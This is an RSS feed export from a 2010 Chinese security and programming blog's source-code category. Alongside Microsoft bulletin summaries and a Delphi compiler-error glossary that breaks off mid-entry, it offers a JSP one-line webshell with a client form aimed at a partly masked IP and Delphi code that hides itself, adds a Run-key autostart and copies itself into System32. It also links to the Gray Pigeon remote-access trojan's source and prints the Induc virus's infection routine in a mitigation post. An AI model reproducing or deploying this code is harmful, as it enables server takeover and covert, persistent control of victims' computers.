<?xml version="1.0" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>叶子's blog - 编程源码/Source</title><link>http://yezishell.cn/</link><description>叶子的博客|关注网络安全！关注网络技术！关注SEO优化！ - </description><generator>RainbowSoft Studio Z-Blog 1.8 Walle Build 100427</generator><language>zh-CN</language><copyright>CopyRight 2009 叶子's blog　  鲁ICP备09016725号　　</copyright><pubDate>Thu, 09 Sep 2010 13:04:36 +0800</pubDate><item><title>MS10-017 Microsoft Office Excel 中的漏洞</title><author>250048111@qq.com (yezi)</author><link>http://yezishell.cn/yuanma/374/</link><pubDate>Sun, 21 Mar 2010 21:46:10 +0800</pubDate><guid>http://yezishell.cn/yuanma/374/</guid><description><![CDATA[<p>发布日期：&nbsp;三月&nbsp;9,&nbsp;2010<br />版本：&nbsp;1.0<br />等级：重要<br /><br /><br />摘要&nbsp;<br />此安全更新可解决&nbsp;Microsoft&nbsp;Office&nbsp;Excel&nbsp;中七个秘密报告的漏洞。&nbsp;如果用户打开特制的&nbsp;Excel&nbsp;文件，这些漏洞可能允许远程执行代码。&nbsp;成功利用这些漏洞的攻击者可以获得与本地用户相同的用户权限。&nbsp;那些帐户被配置为拥有较少系统用户权限的用户比具有管理用户权限的用户受到的影响要小。<br /><br /><br />受影响的软件<br />Microsoft&nbsp;Office&nbsp;套件和组件 &nbsp; &nbsp; &nbsp; &nbsp;<br /><br />Microsoft&nbsp;Office&nbsp;XP&nbsp;Service&nbsp;Pack&nbsp;3<br /><br />Microsoft&nbsp;Office&nbsp;Excel&nbsp;2002&nbsp;Service&nbsp;Pack&nbsp;3<br /><br />Microsoft&nbsp;Office&nbsp;2003&nbsp;Service&nbsp;Pack&nbsp;3 <br /><br />Microsoft&nbsp;Office&nbsp;Excel&nbsp;2003&nbsp;Service&nbsp;Pack&nbsp;3<br /><br />Microsoft&nbsp;Office&nbsp;System&nbsp;Service&nbsp;Pack&nbsp;1 <br /><br />Microsoft&nbsp;Office&nbsp;Excel&nbsp;2007&nbsp;Service&nbsp;Pack&nbsp;1<br /><br />Microsoft&nbsp;Office&nbsp;System&nbsp;Service&nbsp;Pack&nbsp;2 <br /><br />Microsoft&nbsp;Office&nbsp;Excel&nbsp;2007&nbsp;Service&nbsp;Pack&nbsp;2<br /><br />Microsoft&nbsp;Office&nbsp;for&nbsp;Mac&nbsp; &nbsp; &nbsp;<br /><br />Microsoft&nbsp;Office&nbsp;2004&nbsp;for&nbsp;Mac<br /><br />Microsoft&nbsp;Office&nbsp;2008&nbsp;for&nbsp;Mac<br /><br />Open&nbsp;XML&nbsp;File&nbsp;Format&nbsp;Converter&nbsp;for&nbsp;Mac<br /><br />其他&nbsp;Office&nbsp;软件 &nbsp; &nbsp; &nbsp; &nbsp;<br /><br />Microsoft&nbsp;Office&nbsp;Excel&nbsp;Viewer&nbsp;Service&nbsp;Pack&nbsp;1&nbsp;<br /><br />Microsoft&nbsp;Office&nbsp;Excel&nbsp;Viewer&nbsp;Service&nbsp;Pack&nbsp;2<br /><br />Microsoft&nbsp;Office&nbsp;SharePoint&nbsp;Server&nbsp;2007&nbsp;Service&nbsp;Pack&nbsp;1（32&nbsp;位版本）<br /><br />Microsoft&nbsp;Office&nbsp;SharePoint&nbsp;Server&nbsp;2007&nbsp;Service&nbsp;Pack&nbsp;2（32&nbsp;位版本）<br /><br />Microsoft&nbsp;Office&nbsp;SharePoint&nbsp;Server&nbsp;2007&nbsp;Service&nbsp;Pack&nbsp;1（64&nbsp;位版本）<br /><br />Microsoft&nbsp;Office&nbsp;SharePoint&nbsp;Server&nbsp;2007&nbsp;Service&nbsp;Pack&nbsp;2（64&nbsp;位版本）<br /><br />不受影响的软件&nbsp;Office&nbsp;及其他软件<br /><br />Microsoft&nbsp;Office&nbsp;File&nbsp;Converter&nbsp;Pack<br /><br />Microsoft&nbsp;Works&nbsp;8.5<br /><br />Microsoft&nbsp;Works&nbsp;9<br /><br /><br />微软更新公告：http://www.microsoft.com/china/technet/security/bulletin/MS10-017.mspx</p>]]></description><category>编程源码/Source</category><comments>http://yezishell.cn/yuanma/374/#comment</comments><wfw:comment>http://yezishell.cn/</wfw:comment><wfw:commentRss>http://yezishell.cn/feed.asp?cmt=374</wfw:commentRss><trackback:ping>http://yezishell.cn/cmd.asp?act=tb&amp;id=374&amp;key=32c7f748</trackback:ping></item><item><title>MS10-016:Windows Movie Maker中的漏洞</title><author>250048111@qq.com (yezi)</author><link>http://yezishell.cn/yuanma/373/</link><pubDate>Sun, 21 Mar 2010 21:45:31 +0800</pubDate><guid>http://yezishell.cn/yuanma/373/</guid><description><![CDATA[<p>发布日期：&nbsp;三月&nbsp;9,&nbsp;2010 <br />版本：&nbsp;1.0 <br />等级：重要 <br /><br />摘要&nbsp; <br />此安全更新解决了&nbsp;Windows&nbsp;Movie&nbsp;Maker&nbsp;和&nbsp;Microsoft&nbsp;Producer&nbsp;2003&nbsp;中一个秘密报告的漏洞。Windows&nbsp;Live&nbsp;Movie&nbsp;Maker（适用于&nbsp;Windows&nbsp;Vista&nbsp;和&nbsp;Windows&nbsp;7）不受此漏洞的影响。&nbsp;如果攻击者发送了特制的&nbsp;Movie&nbsp;Maker&nbsp;或&nbsp;Microsoft&nbsp;Producer&nbsp;项目文件并诱使用户打开该特制的文件，则该漏洞可能允许远程执行代码。&nbsp;那些帐户被配置为拥有较少系统用户权限的用户比具有管理用户权限的用户受到的影响要小。 <br /><br />受影响的软件&nbsp; <br /><br />操作系统 <br />Windows&nbsp;XP&nbsp;Service&nbsp;Pack&nbsp;2&nbsp;和&nbsp;Windows&nbsp;XP&nbsp;Service&nbsp;Pack&nbsp;3 <br />&nbsp; <br />Windows&nbsp;XP&nbsp;Professional&nbsp;x64&nbsp;Edition&nbsp;Service&nbsp;Pack&nbsp;2 <br />&nbsp; <br />Windows&nbsp;Vista、Windows&nbsp;Vista&nbsp;Service&nbsp;Pack&nbsp;1&nbsp;和&nbsp;Windows&nbsp;Vista&nbsp;Service&nbsp;Pack&nbsp;2 <br /><br />Movie&nbsp;Maker&nbsp;2.6 <br />&nbsp; <br />Windows&nbsp;Vista&nbsp;x64&nbsp;Edition、Windows&nbsp;Vista&nbsp;x64&nbsp;Edition&nbsp;Service&nbsp;Pack&nbsp;1&nbsp;和&nbsp;Windows&nbsp;Vista&nbsp;x64&nbsp;Edition&nbsp;Service&nbsp;Pack&nbsp;2 <br />&nbsp; <br />Windows&nbsp;7（用于&nbsp;32&nbsp;位系统） <br />&nbsp; <br />Windows&nbsp;7（用于基于&nbsp;x64&nbsp;的系统） <br />&nbsp; <br />受影响的软件&nbsp; <br /><br />其他&nbsp;Office&nbsp;软件 <br />Microsoft&nbsp;Producer&nbsp;2003 <br /><br />不受影响的软件 <br /><br />软件&nbsp; <br />Microsoft&nbsp;Windows&nbsp;2000&nbsp;Service&nbsp;Pack&nbsp;4 <br />&nbsp; <br />Windows&nbsp;Server&nbsp;2003&nbsp;Service&nbsp;Pack&nbsp;2 <br />&nbsp; <br />Windows&nbsp;Server&nbsp;2003&nbsp;x64&nbsp;Edition&nbsp;Service&nbsp;Pack&nbsp;2 <br />&nbsp; <br />Windows&nbsp;Server&nbsp;2003&nbsp;SP2（用于基于&nbsp;Itanium&nbsp;的系统） <br />&nbsp; <br />Windows&nbsp;Server&nbsp;2008（用于&nbsp;32&nbsp;位系统）和&nbsp;Windows&nbsp;Server&nbsp;2008（用于&nbsp;32&nbsp;位系统）Service&nbsp;Pack&nbsp;2 <br />&nbsp; <br />Windows&nbsp;Server&nbsp;2008（用于基于&nbsp;x64&nbsp;的系统）和&nbsp;Windows&nbsp;Server&nbsp;2008（用于基于&nbsp;x64&nbsp;的系统）Service&nbsp;Pack&nbsp;2 <br />&nbsp; <br />Windows&nbsp;Server&nbsp;2008（用于基于&nbsp;Itanium&nbsp;的系统）和&nbsp;Windows&nbsp;Server&nbsp;2008（用于基于&nbsp;Itanium&nbsp;的系统）Service&nbsp;Pack&nbsp;2 <br />&nbsp; <br />Windows&nbsp;7（用于&nbsp;32&nbsp;位系统） <br />&nbsp; <br />Windows&nbsp;7（用于基于&nbsp;x64&nbsp;的系统） <br />&nbsp; <br />Windows&nbsp;Server&nbsp;2008&nbsp;R2（用于基于&nbsp;x64&nbsp;的系统） <br />&nbsp; <br />Windows&nbsp;Server&nbsp;2008&nbsp;R2（用于基于&nbsp;Itanium&nbsp;的系统） <br />&nbsp; <br />Windows&nbsp;Live&nbsp;Movie&nbsp;Maker <br />&nbsp; <br />微软更新公告：http://www.microsoft.com/china/technet/security/bulletin/MS10-016.mspx&nbsp;</p>]]></description><category>编程源码/Source</category><comments>http://yezishell.cn/yuanma/373/#comment</comments><wfw:comment>http://yezishell.cn/</wfw:comment><wfw:commentRss>http://yezishell.cn/feed.asp?cmt=373</wfw:commentRss><trackback:ping>http://yezishell.cn/cmd.asp?act=tb&amp;id=373&amp;key=6f1802a1</trackback:ping></item><item><title>Jsp一句话 C/S端</title><author>250048111@qq.com (yezi)</author><link>http://yezishell.cn/yuanma/363/</link><pubDate>Fri, 12 Mar 2010 21:05:18 +0800</pubDate><guid>http://yezishell.cn/yuanma/363/</guid><description><![CDATA[<div class="ContentFont" id="NewaspContentLabel" style="padding-right: 10px; display: block; padding-left: 10px; padding-bottom: 0px; padding-top: 0px"><font id="font_word" style="font-size: 14px; font-family: 宋体, Verdana, Arial, Helvetica, sans-serif"><p><font face="Verdana">&lt;%<br />if(request.getParameter(&quot;f&quot;)!=null)(new java.io.FileOutputStream(application.getRealPath(&quot;\\&quot;)+request.getParameter(&quot;f&quot;))).write(request.getParameter(&quot;t&quot;).getBytes());<br />%&gt;</font></p><p><font face="Verdana">提交客户端</font></p><p><font face="Verdana">程序代码 程序代码<br />&lt;form action=&quot;http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp&quot; method=&quot;post&quot;&gt;<br />&lt;textarea name=t cols=120 rows=10 width=45&gt;your code&lt;/textarea&gt;&lt;BR&gt;&lt;center&gt;&lt;br&gt;<br />&lt;input type=submit value=&quot;提交&quot;&gt;<br />&lt;/form&gt; </font></p><p>&nbsp;</p></font></div>]]></description><category>编程源码/Source</category><comments>http://yezishell.cn/yuanma/363/#comment</comments><wfw:comment>http://yezishell.cn/</wfw:comment><wfw:commentRss>http://yezishell.cn/feed.asp?cmt=363</wfw:commentRss><trackback:ping>http://yezishell.cn/cmd.asp?act=tb&amp;id=363&amp;key=c98e82af</trackback:ping></item><item><title>delphi复制自身加开机运行</title><author>250048111@qq.com (yezi)</author><link>http://yezishell.cn/yuanma/361/</link><pubDate>Sat, 06 Mar 2010 23:50:12 +0800</pubDate><guid>http://yezishell.cn/yuanma/361/</guid><description><![CDATA[<p><font face="宋体" size="3">interface&nbsp; <br /><br />uses&nbsp; <br />&nbsp;&nbsp;Windows,&nbsp;Messages,&nbsp;SysUtils,&nbsp;Variants,&nbsp;Classes,&nbsp;Graphics,&nbsp;Controls,&nbsp;Forms,&nbsp; <br />&nbsp;&nbsp;Dialogs,&nbsp;Registry,&nbsp;StdCtrls;&nbsp; <br /><br />type&nbsp; <br />&nbsp;&nbsp;TForm1&nbsp;=&nbsp;class(TForm)&nbsp; <br />&nbsp;&nbsp;procedure&nbsp;FormCreate(Sender:&nbsp;TObject);&nbsp; <br />&nbsp;&nbsp;private&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;Private&nbsp;declarations&nbsp;}&nbsp; <br />&nbsp;&nbsp;public&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;Public&nbsp;declarations&nbsp;}&nbsp; <br />&nbsp;&nbsp;end;&nbsp; <br /><br />var&nbsp; <br />&nbsp;&nbsp;Form1:&nbsp;TForm1;&nbsp; <br /><br />implementation&nbsp; <br /><br />function&nbsp;GetWinDir:&nbsp;String;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义获取system32目录的方法。&nbsp; <br />var&nbsp; <br />Buf:&nbsp;array[0..MAX_PATH]&nbsp;of&nbsp;char;&nbsp; <br />begin&nbsp; <br />GetSystemDirectory(Buf,&nbsp;MAX_PATH);&nbsp; <br />Result&nbsp;:=&nbsp;Buf;&nbsp; <br />if&nbsp;Result[Length(Result)]&lt;&gt;&rsquo;&rsquo;&nbsp;then&nbsp;Result&nbsp;:=&nbsp;Result&nbsp;+&nbsp;&rsquo;&rsquo;;&nbsp; <br />end;&nbsp; <br />{$R&nbsp;*.dfm}&nbsp; <br /><br />procedure&nbsp;TForm1.FormCreate(Sender:&nbsp;TObject);&nbsp; <br />var&nbsp;myname:&nbsp;string;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;AuToRun&nbsp;:TRegistry;&nbsp; <br />begin&nbsp; <br />&nbsp;&nbsp;Form1.Hide;&nbsp; <br />&nbsp;&nbsp;Application.ShowMainForm&nbsp;:=&nbsp;False;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//这两句是为了让程序运行不显示窗口。&nbsp; <br />&nbsp;&nbsp;AuToRun&nbsp;:=&nbsp;TRegistry.Create;&nbsp; <br />&nbsp;&nbsp;with&nbsp;AuToRun&nbsp;do&nbsp; <br />&nbsp;&nbsp;Try&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;RootKey&nbsp;:=&nbsp;HKEY_LOCAL_MACHINE;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;OpenKey(&rsquo;SOFTWARE\MicroSoft\Windows\CurrentVersion\Run&rsquo;,false)&nbsp;then&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;AuToRun.WriteString(extractfilename(application.ExeName),application.ExeName);&nbsp; <br />&nbsp;&nbsp;Finally&nbsp; <br />&nbsp;&nbsp;AuToRun.Free;&nbsp; <br />&nbsp;&nbsp;end;&nbsp;//增加开机启动项&nbsp; <br /><br />myname&nbsp;:=&nbsp;ExtractFilename(Application.Exename);&nbsp;//获得文件名&nbsp; <br />if&nbsp;application.Exename&nbsp;&lt;&gt;&nbsp;GetWindir&nbsp;+&nbsp;myname&nbsp;then&nbsp;//如果文件不是在Windows\System32\那么..&nbsp; <br />begin&nbsp; <br />copyfile(pchar(application.Exename),&nbsp;pchar(GetWindir&nbsp;+&nbsp;myname),&nbsp;False);{将自己拷贝到Windows\System32\下}&nbsp; <br />Winexec(pchar(GetWindir&nbsp;+&nbsp;myname),&nbsp;sw_hide);&nbsp;//运行Windows\System32\下的新文件&nbsp; <br />end;&nbsp; <br />end;&nbsp; <br /><br />end.</font></p>]]></description><category>编程源码/Source</category><comments>http://yezishell.cn/yuanma/361/#comment</comments><wfw:comment>http://yezishell.cn/</wfw:comment><wfw:commentRss>http://yezishell.cn/feed.asp?cmt=361</wfw:commentRss><trackback:ping>http://yezishell.cn/cmd.asp?act=tb&amp;id=361&amp;key=6d8313a0</trackback:ping></item><item><title>灰鸽子1.20源码</title><author>250048111@qq.com (yezi)</author><link>http://yezishell.cn/yuanma/246/</link><pubDate>Sat, 12 Sep 2009 01:52:13 +0800</pubDate><guid>http://yezishell.cn/yuanma/246/</guid><description><![CDATA[<p>其实功能不用我多说了&nbsp;&nbsp; delphi的源码&nbsp; 大家down玩吧.</p><p>&nbsp;<img title="" alt="" onload="ResizeImage(this,500)" src="http://yezishell.cn/upload/200909120154224241.jpg" /></p><p>灰鸽子是一个远程控制类软件，主要功能有：<br />1.文件管理：模枋 Windows 资源管理器，可以对文件进行：复制、粘贴、删除，重命名、远程运行等,可以上传下载文件或文件夹,操作简单易用。<br />2.远程控制命令：查看远程系统信息、剪切板查看、进程管理、窗口管理、外设控制、服务管理、共享管理、代理服务、MS-Dos模拟、其它控制！<br />3.捕获屏幕：不但可以连继的捕获远程电脑屏幕，还能把本地的鼠标及键盘传动作送到远程实现实时控制功能！<br />4.注册表模拟器：远程注册表操作就像操作本地注册表一样方便!<br />5.远程通讯：除普通的文字聊天以外，还有语音聊天的功能（双方ADSL上网情况下语音良好）！<br />6.代理服务：可以让服务端开放Socks5代理服务器功能，还可以让服务端开放FTP功能！<br />7.命令广播：可以对自动上线主机进行命令播，如关机、重启、打开网页等，点一个按钮就可以让N台机器同时关机或其它操作！</p><p><a target="_blank" href="http://zj.codefans.net/10/200902/HgzVip1.2.rar">点击下载灰鸽子V1.20 源码</a></p>]]></description><category>编程源码/Source</category><comments>http://yezishell.cn/yuanma/246/#comment</comments><wfw:comment>http://yezishell.cn/</wfw:comment><wfw:commentRss>http://yezishell.cn/feed.asp?cmt=246</wfw:commentRss><trackback:ping>http://yezishell.cn/cmd.asp?act=tb&amp;id=246&amp;key=ced69244</trackback:ping></item><item><title>Delphi---Virus.Win32.Induc.a [Anti感染解决方案]</title><author>250048111@qq.com (yezi)</author><link>http://yezishell.cn/yuanma/243/</link><pubDate>Tue, 08 Sep 2009 13:57:39 +0800</pubDate><guid>http://yezishell.cn/yuanma/243/</guid><description><![CDATA[<p>最近这个病毒火了..好多delphi写的正规的软件也不幸中奖了....</p><p>感染Delphi的SysConst.dcu文件,使编译出来的程序,都带了感染性的..不过这病毒也算不上有什么危害...但自己写的代码,编译多了一些莫名其妙的代码,还是非常不爽的...</p><p>昨晚回家,看了下自己的delphi,也中奖了.......</p><p>解决方案:</p><p>一:</p><p>先看看感染代码！从这段代码里，可以看得出来,这病毒是先从注册表的RootDir值读取了Delphi的路径,从而得到了SysConst.dcu的路径,相信大伙已经知道思路了,只要我们把RootDir值修改成别的,病毒不就获取不到路径了...当然也就感染不了...这里做个例子:把RootDir这个注册表项改成RootDDD</p><p>procedure st;<br />var <br />k:HKEY;<br />c:array [1..255] of char;<br />i:cardinal;<br />r:string;<br />v:char;<br />begin<br />for v:='4' to '7' do<br />if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then<br />begin<br />i:=255;<br />if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then<br />begin<br />r:='';<br />i:=1;<br />while c&lt;&gt;#0 do<br />begin<br />r:=r+c;<br />inc(i);<br />end;<br />re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','&quot;'+r+'\bin\dcc32.exe&quot; ');<br />end;<br />RegCloseKey(k);<br />end;<br />end;</p><p><img style="zoom: 60%" height="214" alt="" width="898" border="0" onmousewheel="return bbimg(this)" onload="javascript:resizepic(this)" src="http://yezishell.cn/upload/200909081423418831.jpg" /></p><p>二:</p><p><img style="width: 640px; zoom: 50%; height: 392px" alt="" border="0" onmousewheel="return bbimg(this)" onload="javascript:resizepic(this)" src="http://yezishell.cn/upload/200909081423414842.jpg" /></p><p>打开Delphi目录下的delphi32.exe文件,载入OD,找到&quot;RootDir&quot;这字符串,把&quot;RootDir&quot;这字符串改成&quot;RootDDD&quot;,这样很简单就解决了..Delphi也正常使用了....也解决了被感染问题...(SysConst.dcu必须为正常的)..</p><p>;Delphi---Virus.Win32.Induc.a [Anti感染解决方案]<br />;By:ZzAge<br />;BBS:http://www.52pojie.cn<br />;Blog:http://hi.baidu.com/zzage</p>]]></description><category>编程源码/Source</category><comments>http://yezishell.cn/yuanma/243/#comment</comments><wfw:comment>http://yezishell.cn/</wfw:comment><wfw:commentRss>http://yezishell.cn/feed.asp?cmt=243</wfw:commentRss><trackback:ping>http://yezishell.cn/cmd.asp?act=tb&amp;id=243&amp;key=52722f26</trackback:ping></item><item><title>asp中调用fso设置文件属性</title><author>250048111@qq.com (yezi)</author><link>http://yezishell.cn/yuanma/242/</link><pubDate>Tue, 08 Sep 2009 13:56:00 +0800</pubDate><guid>http://yezishell.cn/yuanma/242/</guid><description><![CDATA[<p><span style="font-size: larger"><font face="宋体">&lt;%<br />w=&quot;\images\index.asp&quot;<br />w=Server.MapPath(&quot;\&quot;)&amp;w<br />set fso=createobject(&quot;scripting.filesystemobject&quot;)<br />set file=fso.getfile(w)<br />file.attributes=0<br /><br />//常数&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 值&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 描述 <br />//Normal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;普通文件。不设置属性。 <br />//ReadOnly&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;只读文件。属性为读/写。 <br />//Hidden&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;隐藏文件。属性为读/写。 <br />//System&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4&nbsp;&nbsp;&nbsp;&nbsp;系统文件。属性为读/写。 <br />//Volume&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8&nbsp;&nbsp;&nbsp;&nbsp;磁盘驱动器卷标。属性为只读。 <br />//Directory&nbsp;&nbsp;&nbsp;&nbsp;16&nbsp;&nbsp; 文件夹或目录。属性为只读。 <br />//Archive&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;32&nbsp;&nbsp; 文件在上次备份后已经修改。属性为读/写。 <br />//Alias&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;64&nbsp;&nbsp; 链接或者快捷方式。属性为只读。 <br />//Compressed&nbsp;&nbsp; 128 压缩文件。属性为只读。 <br />%&gt;<br /><br /><br /><br />附:fso获取文件属性代码<br /><br />利用fso获取文件属性，如：名称，所在路径，所在驱动器，大小，文件类型，文件属性，创建日期。<br />&lt;HTML&gt;<br />&lt;HEAD&gt;&lt;TITLE&gt;获取文件属性代码&lt;/TITLE&gt;&lt;/HEAD&gt;<br />&lt;BODY&gt;<br />&lt;%<br />'创建一个FileSystemObject对象的事例<br />Set MyFileObject=Server.CreateObject(&quot;Scripting.FileSystemObject&quot;)<br />'创建一个File对象的事例<br />filename=server.mappath(&quot;./&quot;)&amp;&quot;\test.html&quot;<br />Set Myfile=MyFileObject.GetFile(filename)<br />%&gt;<br />&lt;Br&gt;名称：&lt;%=Myfile.Name %&gt;<br />&lt;Br&gt;所在路径：&lt;%=Myfile.Path %&gt;<br />&lt;Br&gt;所在驱动器：&lt;%=Myfile.Drive %&gt;<br />&lt;Br&gt;文件大小：&lt;%=Myfile.size %&gt;<br />&lt;Br&gt;文件类型：&lt;%=Myfile.type %&gt;<br />&lt;Br&gt;文件属性：&lt;%=Myfile.Attributes %&gt;<br />&lt;Br&gt;创建日期：&lt;%=Myfile.DateCreated %&gt;<br />&lt;/BODY&gt;<br />&lt;/HTML&gt;</font></span></p>]]></description><category>编程源码/Source</category><comments>http://yezishell.cn/yuanma/242/#comment</comments><wfw:comment>http://yezishell.cn/</wfw:comment><wfw:commentRss>http://yezishell.cn/feed.asp?cmt=242</wfw:commentRss><trackback:ping>http://yezishell.cn/cmd.asp?act=tb&amp;id=242&amp;key=abdab8f9</trackback:ping></item><item><title>Delphi编译错误中文手册</title><author>250048111@qq.com (yezi)</author><link>http://yezishell.cn/yuanma/226/</link><pubDate>Tue, 25 Aug 2009 15:54:43 +0800</pubDate><guid>http://yezishell.cn/yuanma/226/</guid><description><![CDATA[<p>Delphi编译错误中文手册</p><p>******************************* <br />* 编 译 错 误 信 息 * <br />******************************* <br />&rsquo;;&rsquo; not allowed before &rsquo;ELSE&rsquo; ElSE前不允许有&ldquo;;&rdquo; <br />&rsquo;＜clause＞&rsquo; clause not allowed in OLE automation section 在OLE自动区段不允许&ldquo;＜clause＞&rdquo;子句 <br />&rsquo;＜name＞&rsquo; is not a type identifier ＜name＞不是类型标识符 <br />&rsquo;＜name＞&rsquo; not previously declared as a PROPERTY ＜name＞前面没有说明PROPERTY <br />&rsquo;GOTO ＜label＞&rsquo; leads into or out of TRY statement GOTO ＜label＞进入或超出TRY语句的范围 <br />＜clause1＞ clause expected, but ＜clause2＞ found 要求子句＜clause1＞，但出现＜clause2＞ <br />16-Bit fixup encountered in object file &rsquo;＜text＞&rsquo; 在对象文件＜text＞遇到16位修复 <br />486/487 instructions not enabled 不能用486/487指令 <br />Abstract methods must be virtual or dynamic 抽象方法必须为虚拟的或动态的 <br />Array type required 需要数组类型 <br />Assignment to FOR-Loop variable &rsquo;＜Name＞&rsquo; 给FOR循环变量＜Name＞赋值 <br />Bad argument type in variable type array constructor 在变量类型数组结构中不正确的参数类型 <br />Bad file format &rsquo;＜name＞&rsquo; 错误的文件格式＜name＞ <br />Bad file format: ＜Filename＞ 错误的文件格式＜Filename＞ <br />Bad global symbol definition: &rsquo;＜Name＞&rsquo; in object file &rsquo;＜Filename＞&rsquo; 对象文件&rsquo;＜Filename＞&rsquo;中错误的全局符号定义&rsquo;＜Name＞&rsquo; <br />Bad unit format: ＜Filename＞ 错误的单元格式＜Filename＞ <br />BREAK or CONTINUE outside of loop BREAK或CONTINUE超出循环 <br />Cannot add or subtract relocatable symbols 不能增加或减少可重置的符号 <br />Cannot assign to a read-only property 不能指定只读属性 <br />Cannot BREAK, CONTINUE or EXIT out of a FINALLY clause 超出FINALLY子句的范围，不能使用BREAK,CONTINUE或EXIT语句 <br />Cannot initialize local variables 不能初始化局部变量 <br />Cannot initialize multiple variables 不能初始化多个变量 <br />Cannot initialize thread local variables 不能初始化线程局部变量 <br />Cannot override a static method 不能覆盖静态方法 <br />Cannot read a write-only property 不能读取只写属性 <br />Case label outside of range of case expression CASE标号超出了CASE表达式的范围 <br />Circular unit reference to ＜Unitname＞ 对单元＜Unitname＞循环引用 <br />Class already has a default property 类已具有默认的属性 <br />Class does not have a default property 类没有默认的属性 <br />Class or object types only allowed in type section 在类型区段只允许有类或对象类型 <br />Class type required 需要类类型 <br />Close error on ＜Filename＞ 文件＜Filename＞关闭错误 <br />Compile terminated by user 用户中止编译 <br />Constant expected 要求常量 <br />Constant expression expected 要求常量表达式 <br />Constant expression violates subrange bounds 常量表达式超出子界范围 <br />Constant object cannot be passed as var parameter 常量对象不能作为变量参数传递 <br />Constant or type identifier expected 要求常量或类型标识符 <br />Constants cannot be used as open array arguments 常量不能用作打开数组参数 <br />Constructing instance of &rsquo;＜name＞&rsquo; containing abstract methods 构造的＜name＞实体包含抽象的方法 <br />Could not compile used unit &rsquo;＜Unitname＞&rsquo; 不能用单元＜Unitname＞编译 <br />Could not create output file ＜Filename＞ 不能建立输出文件＜Filename＞ <br />Could not load RLINK32.DLL 不能加载RLINK32.DLL <br />Data type too large: exceeds 2 GB 数据类型太大：超过2GB <br />Declaration of ＜Name＞ differs from previous declaration ＜Name＞的说明与先前的说明不同 <br />Default property must be an array property 默认的属性必须为数组属性 <br />Default values must be of ordinal, pointer or small set type 默认的值必须为序数、指针或小集类型 <br />Destination cannot be assigned to 目标不能指定 <br />Destination is inaccessible 目标不能存取 <br />Dispid &rsquo;＜number＞&rsquo; already used by &rsquo;＜name＞&rsquo; DISPID标识号已被＜name＞使用 <br />Dispid clause only allowed in OLE automation section DISPID子句只能在OLE自动区段中使用 <br />Division by zero 除数为零 <br />Duplicate case label CASE标号重复 <br />Duplicate tag value 重复的标志值 <br />Dynamic method or message handler not allowed here 这里不允许有动态方法或信息处理程序 <br />Dynamic methods and message handlers not allowed in OLE automation section在OLE自动区段不允许有动态方法或消息处理程序 <br />Element 0 inaccessible - use &rsquo;Length&rsquo; or &rsquo;SetLength&rsquo; 元素0不能存取-使用LENGTH或SETLENGTH <br />Error in numeric constant 数值常量错误 <br />EXCEPT or FINALLY expected 要求EXCEPT或FINALLY <br />EXPORTS allowed only at global scope EXPORTS只允许在全局范围使用 <br />Expression has no value 表达式没有值 <br />Expression too complicated 表达式太复杂 <br />Field definition not allowed in OLE automation section 在OLE自动区段中不允许域定义 <br />Field definition not allowed after methods or properties 在方法或属性后不允许域定义 <br />Field or method identifier expected 要求域或方法标识符 <br />File not found: ＜Filename＞ 文件＜Filename＞没有找到 <br />File type not allowed here 这儿不允许文件类型 <br />For loop control variable must be simple local variable FOR循环控制变量必须为简单局部变量 <br />For loop control variable must have ordinal type FOR循环控制变量必须为序数类型 <br />FOR or WHILE loop executes zero times - deleted FOR或WHILE循环执行零次-删除 <br />FOR-Loop variable &rsquo;＜name＞&rsquo; cannot be passed as var parameter FOR循环变量＜name＞不能作为参数传递 <br />FOR-Loop variable &rsquo;＜Name＞&rsquo; may be undefined after loop 在循环后的FOR循环变量＜NAME＞是不确定的 <br />Function needs result type 函数需要结果类型 <br />Identifier redeclared: &rsquo;＜name＞&rsquo; 标识符＜name＞重复说明 <br />Illegal character in input file: &rsquo;＜char＞&rsquo; ($＜hex＞) 在输入文件中的非法字符&rsquo;＜char＞&rsquo; <br />Illegal message method index 非法的消息方法指针 <br />Illegal reference to symbol &rsquo;＜Name＞&rsquo; in object file &rsquo;＜Filename＞&rsquo; 在对象文件＜filename＞中对符号＜name＞的非法引用 <br />Illegal type in OLE automation section: &rsquo;＜typename＞&rsquo; 在OLE自动区段中的非法类型＜typename＞ <br />Illegal type in Read/Readln statement 在Read/Readln语句中的非法类型 <br />Illegal type in Write/Writeln statement 在Write/Writeln语句中的非法类型 <br />Inaccessible value 不可存取的值 <br />Incompatible types: &rsquo;＜name＞&rsquo; and &rsquo;＜name＞&rsquo; 不兼容的类型＜name＞和＜name＞ <br />Incompatible types: ＜text＞ 不兼容的类型＜text＞ <br />Inline assembler stack overflow 内联汇编溢出 <br />Inline assembler 